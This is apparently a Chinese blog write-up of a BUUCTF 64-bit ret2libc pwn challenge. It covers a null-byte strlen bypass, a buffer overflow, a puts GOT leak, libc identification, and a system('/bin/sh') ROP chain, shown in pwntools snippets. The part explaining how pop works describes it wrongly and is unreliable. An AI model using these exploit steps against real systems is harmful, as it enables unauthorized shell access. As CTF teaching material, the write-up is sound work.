本文已参与「新人创作礼」活动,一起开启掘金创作之路
BUUCTF ciscn 依旧使用buu提供的题
这次大体和上次babyrop一样,都是使用源程序中不存在的函数来进行攻击,区别在于此次没有给出libc的版本,我们需要自己暴漏libc的版本
以及本次的64位程序,在传参上和32位程序的一些不同
闲话少叙,后面需要的知识点我们后面再学,我们便分析边聊
保护分析
checksec分析
64位的程序,只有数据段免执行保护。
程序段分析
main函数
地址为0000000000400B28
我们可以通过telnet连接一下看看她在干什么
可以看到是一个简单的输入判断分支结构
判断一下伪代码可以看到只有encrypt功能有相应的响应函数,main部分是没有什么漏洞的。
可以看到是一个简单的输入判断分支结构
encrypt函数
进入后可以看到,这个函数的作用就是对我们输入的文本进行一个加密,但是在前面若v0大于等于我们输入的s的话就可以跳出循环避免我们输入的语句被破坏,我们可以用之前学到的技巧,strlen的判断机制是读到0之后不在继续判断。所以我们可以把字符串用0开头来绕过加密
然后还有一个没有限制输入长度的get参数,还有一个长度为50h的字符数组(我也不懂为啥他写长度为48)
思路总结
- 利用栈溢出点实现溢出
- 调用已经使用过的put函数,来暴露put函数真正入口在内存中的偏移地址
- 通过操作系统内存分页存储的特点,通过put函数后三个字节来(每页4kb),比对出libc的版本
- 在得到的libc中找到我们需要的函数(system)和字符(bin/bash),之后加上在内存中的偏移量得到二者在内存中真正的地址
- 最后通过溢出来调用system函数执行bin/bash命令
exp编写
首先编写溢出点的绕过部分
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
这个位置很简单,就是用0开头来绕过strlen函数避免被加密,然后用a来填充缓冲区,之后再放8个a来填充rbp
之后我们来尝试暴漏出put函数在内存中的真实地址(got函数真实入口)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() ;为什么两次,因为第一次会接一个0回来
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
;此处感谢angel-yan师傅,我用之前的做法就是没加后面的匹配直接接收,不知道为啥始终不对,看了这位师傅的文章才能进行下去,但我还是不知道我是咋错的(尴尬 https://blog.csdn.net/mcmuyanga/article/details/108224907
print hex(puts_addr)
此处我们会发现一个问题,如果按照我们之前在babyrop中的思路,got应该是函数,plt才是参数,但这里为什么反了呢,而main又为什么放在最后呢,这就涉及到64位程序和32位程序在传参问题上的区别,我将解释放在本文的最后,方便自己和看到本文的朋友进行查阅
call 原理解析-64位程序和32位程序函数传参时的区别 :)
之后使用得到的puts的真实地址进行查找,之前说过操作系统使用分页式来管理内存,每页大小为4kb,这就导致了内存地址无论如何随机函数入口的最后三位都是不变的。而不同的函数在不同的库中的位置又不同,因此我们可以靠最后3位来进行库的匹配。
这里我推荐使用libc.blukat.me/这个网站,我的libcsearch真的搜不出东西啊。。。
有两个,我们之前在checksec中知道他是amd64的所以选第一个,这样我们就获得了我们需要的函数的偏移地址
接着我们开始计算这些函数,字符串在内存中的偏移地址是多少。只需要用puts在内存中的地址减去原先的地址获得随机内存偏移量,然后将随机内存偏移量和函数,字符串在内存中的偏移地址相加就可以获得我们需要使用的部分在内存中的位置了。
puts = 0x0809c0
offset=puts_addr-puts
bin_sh=offset+0x1b3e9a
system=offset+0x04f440
最后我们进行构造最终的payload来获取shell
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(bin_sh)
payload+=p64(system)
可以看到按照我们之前的理论,我们将bin_sh作为了参数赋给了system变量,但是我们发现这个位置多了一个ret指令,这是为什么呢?
因为这道题部署在64位的ubantu18机器上,这台机器是强制栈平衡的,不进行平衡会导致会话卡死。至于如何平衡,在栈题里有一个通用解,就是调用一个ret来补全栈。为什么是ret,因为我们之前说过ret的作用是将下一个指令的位置给ip,而我们要执行的指令紧接着ret,所以在这里加一个ret和加一个空格没什么区别。而且ret随处可得,只要调用函数,就得使用ret。
至于如何获得ret我们可以使用ROPgadget来获得。但这个留到下次再说吧
本文已参与「新人创作礼」活动,一起开启掘金创作之路
原理解析
64位程序和32位程序函数传参时的区别
32位·程序是从后至前依次将参数存入栈中,然后最后进行call指令将当前ip压栈,最后形成的栈结构是这样
注:rbp是64位的名字,32位中叫ebp,打错了。。。
因此我们只需要修改返回地址,就可以实现函数执行结束调用ret的时候,将我们想要执行的函数作为下一次执行的指令,而调用函数需要的参数,我们也只需要依次向下写入即可,就像我在babyrop的wt中写的一样
当然,要注意写入顺序
最上面的main作为返回地址,1作为1号参数代表输出到屏幕,write_got作为2号参数作为输出内容,0x8代表输出长度。其实就已经和我们正常编程习惯一样了
而64位程序有所不同,它在参数较少的情况下会选择使用寄存器来传参,较多的情况下才会使用栈来传参
Linux 中,前六个参数通过 RDI 、 RSI 、 RDX 、 RCX 、 R8 和 R9 传递;
Windows 中,前四个参数通过 RCX 、 RDX 、 R8 和 R9 来传递之后的参数才会选择压栈
而此处又有一个问题,我们在栈中使用了pop指令,当前的rsp自然指向当前指令(这是我们在正常编写程序中不会遇到的情况)为什么不会导致rdi获得当前指令的机器码。
因为在汇编语言中规定,pop指令会先让sp寄存器指向下一个栈帧,然后再执行赋值操作简而言之就是这样
sub sp,8 ; 为什么是8个?因为在64位系统中一个寄存器是8个字节
mov rdi,ss:sp ; 演示赋值操作,看看就好
以上,如果是跳过来的朋友可以跳回去了 ret : )
Thanks for reading ♥